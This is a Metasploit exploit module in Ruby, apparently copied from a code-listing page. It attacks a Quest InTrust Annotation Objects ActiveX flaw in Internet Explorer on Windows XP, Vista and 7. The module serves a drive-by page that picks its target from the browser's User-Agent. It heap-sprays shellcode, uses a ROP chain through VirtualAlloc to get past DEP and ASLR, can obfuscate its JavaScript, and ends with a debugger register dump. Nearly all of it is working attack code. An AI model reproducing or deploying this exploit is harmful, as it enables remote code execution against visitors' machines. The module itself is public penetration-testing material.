1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 |
### # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super( update_info(info, 'Name' => 'Quest InTrust Annotation Objects Uninitialized Pointer', 'Description'=> %q{ This module exploits an uninitialized variable vulnerability in the Annotation Objects ActiveX component. The activeX component loads into memory without opting into ALSR so this module exploits the vulnerability against windows Vista and Windows 7 targets. A large heap spray is required to fulfill the requirement that EAX points to part of the ROP chain in a heap chunk and the calculated call will hit the pivot in a separate heap chunk. This will take some time in the users browser. }, 'License'=> MSF_LICENSE, 'Author' => [ 'rgod <rgod[at]autistici.org>', # initial discovery & poc 'mr_me <steventhomasseeley[at]gmail.com>' # msf module ], 'References' => [ [ 'OSVDB', '80662'], [ 'BID', '52765'], [ 'URL', 'http://www.exploit-db.com/exploits/18674/'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f' }, 'Payload'=> { 'Space'=> 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets'=> [ # call dword ptr ANNOTA_1!DllUnregisterServer+0x19235 (44024a50)[eax*4] # calculation: <targetaddress> - 0x44024a50 / 4 = Ret [ 'Automatic', {} ], # Windows XP/Vista/IE6/IE7 target [ 'Windows XP/Vista SP0-SP3 (IE6/IE7)', { 'Ret' => 0x76767676, } ], # Windows XP/IE8 target - ASLR/DEP Bypass [ 'Windows XP SP0-SP3 DEP bypass (IE8)', { 'Ret' => 0x31AAAD78, } ], # Windows 7/Vista/IE8 target - ASLR/DEP Bypass [ 'Windows 7/Vista ALSR/DEP bypass (IE8)', { 'Ret' => 0x31AAAD78, } ] ], 'DisclosureDate' => 'Mar 28 2012', 'DefaultTarget'=> 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true]) ], self.class) end def junk return rand_text_alpha(4).unpack("L")[0].to_i end def nops(s) nops = make_nops(4).unpack("N*") * s return nops end def on_request_uri(cli, request) #Set target manually or automatically my_target = target if my_target.name == 'Automatic' agent = request.headers['User-Agent'] if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/ # xp/ie6 my_target = targets[1] elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/ # xp/ie7 my_target = targets[1] elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/ # vista/ie7 my_target = targets[1] elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/ # xp/ie8 my_target = targets[2] elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 8\.0/ # vista/ie8 my_target = targets[2] elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/ # win7/ie8 my_target = targets[3] end end # Re-generate the payload. return if ((p = regenerate_payload(cli)) == nil) # shellcode sc = Rex::Text.to_unescape(p.encoded) # Randomize object name obj_name= rand_text_alpha(rand(100) + 1) main_sym= 'main' #main function name if my_target.name =~ /IE6/ or my_target.name =~ /IE7/ js = <<-EOS function heapspray(){ shellcode = unescape('#{sc}'); bigblock = unescape("%u0c0c%u0c0c"); headersize = 20; slackspace = headersize+shellcode.length; while (bigblock.length<slackspace){ bigblock+=bigblock; } fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000){ block = block+block+fillblock; } memory = new Array(); for (i=0;i<1000;i++){ memory[i] = block+shellcode; } } function main(){ heapspray(); #{obj_name}.Add(#{my_target.ret},1); } EOS end if my_target.name =~ /IE8/ # all rop gadgets are taken from AnnotateX.dll - v1.0.32.0 (non alsr/non rebase) rop_gadgets = [ junk, junk, junk, 0x44014075# xchg eax,esp ; add [ecx],10 ; retn 8 (pivot) ].pack('V*') rop_gadgets << [0x44015CEF].pack('V*') * 140 # padding of retn's rop_gadgets << [ 0x44015CEF,# retn 0x44015CEF,# retn 0x44015CEF,# retn 0x44015cee,# pop edx ; retn 0x4401a130,# ptr to &VirtualAlloc() (IAT) 0x44015ca4,# mov eax,[edx+4] ; retn 0x44001218,# push eax ; dec eax ; pop esi ; pop ebp ; retn 14 junk,# filler (compensate) 0x440159bb,# pop ebp ; retn junk,# filler (retn offset compensation) junk,# filler (retn offset compensation) junk,# filler (retn offset compensation) junk,# filler (retn offset compensation) 0x4400238A,# filler (pop edi ; pop esi ; pop ebp ; retn) 0x440012c1,# push esp ; ret 08 0x44016264,# pop ebx ; retn 0x00004000,# 0x00000001-> ebx 0x44015cc9,# pop edx ; retn 0x00001000,# 0x00001000-> edx 0x44017664,# pop ecx ; retn 0x00000040,# 0x00000040-> ecx 0x44017bd8,# pop edi ; retn 0x44017ebe,# retn 0x4400bf25,# pop eax ; retn 0x0C0C2478,# pointer+0x0c to pop edi ; pop esi ; pop ebp ; retn 0x44005C57,# pushad ; push 8 ; push ecx; push esi; call [eax+c] 0x90909090,# nops, do not change as it changes the offset nops(11) ].flatten.pack('V*') rop = Rex::Text.to_unescape(rop_gadgets) js = <<-EOF function heapspray(){ var payload = unescape('#{rop}'); payload += unescape('#{sc}'); var data = payload; while(data.length < 100000) { data += data; } var onemeg = data.substr(0, 64*1024/2); for (i=0; i<14; i++) { onemeg += data.substr(0, 64*1024/2); } onemeg += data.substr(0, (64*1024/2)-(38/2)); var block = new Array(); for (i=0; i<700; i++) { block[i] = onemeg.substr(0, onemeg.length); } } function main(){ heapspray(); #{obj_name}.Add(#{my_target.ret},1); } EOF #JS obfuscation on demand only for IE8 if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate main_sym = js.sym('main') end end content = <<-EOF <object classid='clsid:EF600D71-358F-11D1-8FD4-00AA00BD091C' id='#{obj_name}' ></object> <script language='JavaScript' defer> #{js} </script> <body onload="#{main_sym}();"> <body> </html> EOF peer = "#{cli.peerhost.ljust(16)} #{self.shortname}" print_status("#{peer} Sending HTML...") #Remove the extra tabs from content content = content.gsub(/^\t\t/, '') # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end =begin eax=76767676 ebx=4401e51c ecx=01f85340 edx=00000000 esi=01f85340 edi=00000001 eip=4400ae62 esp=015fd134 ebp=015fd140 iopl=0 nv up ei pl nz na po nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010202 ANNOTA_1+0xae62: 4400ae62 ff1485504a0244calldword ptr ANNOTA_1!DllUnregisterServer+0x19235 (44024a50)[eax*4] ds:0023:1ddc2428=???????? =end |